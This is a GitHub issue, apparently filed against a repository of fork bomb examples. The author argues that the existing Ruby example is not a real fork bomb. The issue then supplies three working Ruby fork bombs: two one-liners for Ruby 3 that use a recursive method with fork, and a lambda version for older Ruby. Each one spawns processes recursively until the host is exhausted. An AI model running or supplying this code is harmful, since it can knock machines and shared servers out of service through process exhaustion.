Skip to content

Ruby example isn't good #21

Description

@Souravgoswami

The Ruby example loops and forks... I don't think it's a fork bomb at all.

A fork bomb in Ruby 3 will look like this:

#!/usr/bin/env -S ruby --disable-gems
method(def f = fork { f && sleep }).call

There's no loop inside. The method f calls itself. It requires no file load, no loop.

Modified version for Ruby 3 only:

#!/usr/bin/env -S ruby --disable-gems
send(def f = fork { f && sleep })

For lower Ruby versions, we can use stabby lambda, lambda or a proc:

#!/usr/bin/env -S ruby --disable-gems
(f = -> { fork { f.() && sleep } }).()

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions